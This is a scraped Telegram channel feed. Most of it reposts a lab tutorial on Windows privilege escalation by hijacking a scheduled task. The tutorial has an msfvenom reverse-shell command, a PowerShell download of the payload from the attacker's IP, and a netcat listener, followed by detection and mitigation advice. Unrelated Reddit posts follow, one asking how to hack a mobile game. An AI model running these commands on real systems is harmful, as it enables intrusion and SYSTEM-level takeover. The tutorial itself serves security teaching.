Hacking Articles Tips Tricks Videos Tutorials
466 subscribers
65.6K photos
15 videos
157 files
131K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles|Raj Chandel's Blog
Windows Privilege Escalation: Scheduled Task/Job (T1573.005)

An attacker may exploit the Windows Task Scheduler to schedule malicious programmes for initial or recurrent execution. For persistence purposes, an attacker may utilise Windows Task Scheduler to launch applications at system startup or on a scheduled basis. Additionally, the Windows Task Scheduler may be utilised to execute remote code to run a process under the context of a specified account for Privilege Escalation.

<o:p Table of Content<o:p· Task Scheduler<o:p

· Misconfigured Scheduled Task/Job<o:p

· Prerequisite<o:p

· Lab Setup<o:p

· Abusing Schedule Task/Job<o:p

· Detection <o:p

· Mitigation<o:p

<o:p Task Scheduler<o:pAn automatic job can be scheduled using the Task Scheduler service. When you use this service, you may set up any programme to run at a date and time that works best for you. Task Scheduler checks the time or event criteria you specify and then runs the task when those conditions are fulfilled.<o:p Misconfigured Scheduled Task/Job<o:pAn attacker can perform execution, persistence or privilege escalation by abusing any script, program, or service that is running automatically through the task scheduler. <o:p Mitre ID:T1573.005Tactics: Execution, Persistence, Privilege Escalation<o:p Platforms:Windows<o:p Prerequisite<o:pTarget Machine:Windows 10<o:p Attacker Machine:Kali Linux<o:p Condition:Compromise the target machine with low privilege access either using Metasploit or Netcat, etc.<o:p Objective:Escalate the NT Authority /SYSTEM privileges for a low privileged user by exploiting the Scheduled Task/Job.<o:p

<o:p Lab Setup<o:pRun Task Scheduler from inside the program menu.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgxUywLx2gzclFBxNP_jXyyS_YtmjoZd5LNegYBUrQ6r4X8IDWTXNIIdz-HEKto3iQbyKhWEKo-2SwEK_sazOQZiz2JgFhFHnE-I_XX4gotg3TPgmASltdjyP3-OQDxL5nOWvsWVA__Xqu_unO1d6fAiNSGdHawmLmm_6lEeH7c7IfZHLy3EBRASQPozA=s16000 Step1:Explore the Task Schedule Library to create a new Task.<o:p

<o:p https://blogger.googleusercontent.com/img/a/AVvXsEhQc0m6u1F5M7QkYjPF7BXDPET3Bb8uh_WOby-rslOXgmwcNiYu1LccfFtm42Z4qAcUTVnDhvjvGmiUN6SEjNoZBqIOfSQwp0fdspT-Fo2HOlEsXuDjEfgMxXFOiZDPYk-tA7omUO5AdiCC9YYAsNp89dY5MmkJF991QzRNUKIN804ylSqN-_FcjAjU3g=s16000 <o:p

Step2: Assign a task for the logged user to be executed as the highest privileges.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEib-YK_eRoB0sFr8WEDYkld9p5nF0EoZlZiy138KjnW0kM7VH0NWQy-7jMkln4r5LiDX1Hi2F_6YvX0qIfwjGF0ToWpGQiofqDJYoCg-dfy2VNOd8SPxBs8rem30pEQpttmcsPyPGt0IpVgrW-mE5uWPjOGnOyruxZVZajL_IaHnQ9didGDvtqbcDSS2Q=s16000 Step3:Choose the Trigger option to initiate a scheduled task/job.<o:p

<o:p https://blogger.googleusercontent.com/img/a/AVvXsEh0tL_DYbBaS39v93cJqiMNX8nzmMkIN0PE0pFA0ExT12zAvawxzKZJJyUHaOdp3sSSmP1XFe2avn47Ubf4czMvWah_5sQeF1J1cKYzf0LnP_YeJmpDCTpsZBp75uV_Ngf4qObUxVmqi3R4WQrUYJ9TFZkYWDKNEe4xOLg2lATPQNVZK2Oo9EFJi1Z6Nw=s16000 Step4: Here we have scheduled the task for recurrence occurrence. <o:p https://blogger.googleusercontent.com/img/a/AVvXsEjN4BPJD_dKWKJ6vZFhpehMMuHbt7tOFNtrBNqLp4PHsFenOkSOF7i0bUfIQtEgj6C_a5vlmb6F9AldZZqq6vNRt9l2kueN47OQqrCL5S143OWSeNY7gKTFwwuw-vTxPXapwD-CKg2skEejKv8Zz2WQpSFyppGNx4m2ixgpec4-jMBDRUxwTapCVCR1TA=s16000 <o:p Step5:When you create a task, you must specify the action that will occur when your task starts. <o:p

<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgDUoBs1uUV_hYlZ8rhGjpwrDc6_wdnRCHZbUZLgfuwDQ9fuCEnvG8hihz1ieg-gebNIpllVAdJgi9tqg-2Wn6IhkewQTXeUsB87TfJtTb51BsXfiotNmC_GaTdNNS0F4dwOF0Dp_pABbBxiAGV5v1oMcl7wRJktib5zaMzVHW8mkODq_9gYDVlwuNtSw=s16000 &l[...]
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles|Raj Chandel's Blog Windows Privilege Escalation: Scheduled Task/Job (T1573.005) An attacker may exploit the Windows Task Scheduler to schedule malicious programmes for initial or recurrent execution. For persistence purposes, an attacker…
t;o:p Step6:Specify the type of action to be performed by a scheduled task. For example schedule backup of a system through some executable program.<o:p
<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEh_CUQuqJ4Zsf4_uil5ebSSft66t-OJaARe8p25ijOJSrLDGDXVxdCKnX-QfFK6pWINvl2g5R44WE61fAKU2b7XtZyIKToKHGRAwz7DEEuzQ-9TNQHP-IFF9lgTsFXMU4IQFuaLjrv9NiyVSB9BDp4IiAOvLhTWNPQTKB7BCqepxq4hhKaklD1KZh-czg=s16000 Step7:Thus schedule tasks will be triggered every day at a specific time for taking backup or schedule job to define as action.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEh4l0o6UsTbiD6fgvE0msxlCwjUdW8rcaa6nuKj3zh0qwu0cXbpRQrHb7dS552Ul7kXcT0-zJpM5qjClMmvToNU8m3pGkAamxwnTR2_xjjUL_ZOhxHd7PLBBq-rrDlnDlT6IFNgXRahrXLmAegDtEnbTge1tdDHblHb3LPOLXiEASxf0yJHK-ZDZZPY1g=s16000 Abusing Schedule Task/Job<o:pStep8:An attacker can escalate privileges by exploiting Schedule Task/Job. Following an initial foothold, we can query to obtain the list for the scheduled task.

schtasks /query /fo LIST /V<o:p

<o:p

This helps an attack to understand which application is attached to execute Job at what time.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEilpAqXwurSvH28WVNn-OU7Mg2yY2OznrUZD6chS6EKZFxuu8BR3RHMQ4_4ZGsNpdVAgTUFn81axc82E5NGXF_o2YAJaD0BaVaxH_XHkSPEEF0MTCl19d5fHlGl85EcJ2RygF1SGOwFrkaDvhrxf6LQrNOKCJSMIohjgQ_Xf2xQ001H5M-IZNLZbwdTdA=s16000 <o:p

To get a reverse shell as NT Authority SYSTEM, let’s create a malicious exe file that could be executed through a scheduled task.  Using Msfvenom we have created an exe file that was injected into the target system.<o:p msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=8888 -f exe > shell.exe<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEic3OJTpSPuLdvMs19--Ki0lv6r7eU5qIroSl5bvkpbD7iYHv3Cpl2G9bR1kuYZA0AoDpJTb37EhQB1L_DR0Q0NB3uAeq0924ScDPDsZHhuK00zmfOEUvLWiTmsP_1j6kcLZLR7s2UFGQ8Q9wIQtNK72383PvIsBdr29dDJn67u19PAAFdHL6SrC6DEdA=s16000 <o:p

To abuse the scheduled Task, the attacker will either modify the application by overwriting it or may replace the original file from the duplicate. To insert a duplicate file in the same directory, we rename the original file as a file.bak.<o:p

<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEgI3Pw7-kDCEcfiokyRvOecEHfGA4W2wDKOj8Xrf6qmr8ttUgnTsT7i7X3qZWBxge75cAohrvbOZnh0b4dP7S79FUEHlq9gU8cirx3OihhlZxLASLl_v1qfPATEyfiMml7-FcrQ_mxLYVbUAnBJtoLnC-Y7cq5vAFOl2_hzkX_UpzPpH50E5wW7nkgHRw=s16000 Then downloaded malicious file.exe in the same directory with the help of wget command.<o:p powershell wget 192.168.1.3/shell.exe –o file.exe<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEh0BK0h0d_U8F-kx7Gve1ECDlX5vxVzlWtilRcvu8rJFwWtjyC_0ZPaB7rEFvS2Mxhs86LstdrjDsa9xvI6BGCVqCb0y_w-4Y4O9My1i0bhzM41ZJOO05BGUhDWAnVcOoIzu_uhNOTVYOsqMxYz5J3UqnzBP7V-PUbZiEtRpM4dzl_Ymq5dOBv_fnZR0Q=s16000 Once the duplicate file.exe is injected in the same directory then, the file.exe will be executed automatically through Task Scheduler. As attackers make sure that netcat listener must be at listening mode for obtaining reverse connection for privilege shell.<o:p

<o:p

nc -lvp 8888<o:p

whoami /priv<o:p
<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEizTEbNW-IMvsRjh_4bKOcb9VPrFJ6ioD-C_KV2rUdY13HQ5gEmqGL8-2GbQfPJ-InxiKOQqBlF80y6kL0as7HlUkhJPD_FHDAazlI_ON6YbbJhfBJMjj9sC9JO_Ys-NZWrx6rSjxACprB5kBeEAaHpNc_7RxoH1GrDqujAAskSMHU-ZVggYC4XDGaxXA=s16000 <o:p Detection <o:p1. Tools such as Sysinternals Autoruns can detect system changes like showing presently scheduled jobs.<o:p

2. Tools like TCPView& Process Explore may help to identify remote connection for suspicious services or process.<o:p

3. View Task Properties and History: To view a task's properties and history by using a command line<o:p

Schtasks /Query /FO LIST /V<o:p

4. Enable the "Microsoft-Windows-TaskScheduler/Operational" configuration inside th[...]
Hacking Articles Tips Tricks Videos Tutorials
t;o:p Step6:Specify the type of action to be performed by a scheduled task. For example schedule backup of a system through some executable program.<o:p <o:phttps://blogger.googleusercontent.com/img/a/AVvXsEh_CUQuqJ4Zsf4_uil5ebSSft66t-OJaARe8p25ijOJSrLDGDXVxdCKnX…
e event logging service to report scheduled task creation and updates.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiGYqhbAYA9lXbxME-m6uccDRnzmKtaeYorPVTMc_Xg321Bu4WONGfU1FKBr0szE-EQYfYBSkYstQ7Ze_HqTbzcizyU3vrpwRerbiTI6XqOVEi4xKe52HYpkYRKScNYnshCuqIW2z7KxAtAjDsPVQ3GbYqrQ-TaRVbEMKDnRKOiwB-O6dTNR50wSoZbGw=s16000 Mitigation<o:p<o:p

1. Perform an audit scan to find out week or misconfiguration with the help of automated script using tools such as WinPeas, SharpUp, etc. Read more from here “Window Privilege Escalation: Automated Script”.<o:p

2. Make sure the scheduled task should not be run as SYSTEM.<o:p

Configure scheduled tasks to execute as the authenticated account instead than SYSTEM. The associated Registry key is located at HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl.<o:p

The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabledReference: <o:p https://attack.mitre.org/techniques/T1053/002/
hacking: security in practice
Where to start towards OSCP?

Starting to use tryhackme to learn basics.

Also what pc hardware/software do you recommend?

Currently have a PC but also need to get a laptop… I’ve heard macs have problems with Linux so any recommendation on hardware is appreciated.

Also, which other certs or prep should I work through before OSCP?

Also, I wouldn’t mind running Kali as the OS on a new laptop, any recommendations for that?

submitted by /u/SkiSupreme90
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Host of darknet diaries guest appearance

For those familiar, it’s a very popular podcast about all things darknet. Thought I’d share it here too but here’s a podcast where the host (Jack Rhysider) guest appeared.

https://www.podcasttheway.com/l/52-darknet-diaries/

The description copy and pasted below:

The show is back and I'm really excited to welcome Jack Rhysider on the show. Jack Rhysider hosts an excellent podcast called The Darknet Diaries I recommend everyone listen to. It's a documentary-type podcast based around true stories from the dark side of the internet. For this episode, I had the pleasure to talk with him about what work goes into his show, and his perspectives after talking to the people he has.

submitted by /u/ItsTheTenthDoctor
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
Does anyone know how to hack this game (word blitz) or download an apk?

I'm sure it's quite easy as its only a small playstore game. I'm new to hacking and don't really know how to start. Also I want to be clear I want to get a hack for this game so I can troll my friend and it's not my intention to ruin the game for strangers. Any help would be appreciated.

submitted by /u/Oscar5434xdx
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
Dark Reading: Attacks/Breaches
Tool Overload & Attack Surface Expansion Plague SOCs

Security professionals are burning out from handling too many tools and facing a growing number of threats, and more than 40% see lack of leadership as the main problem.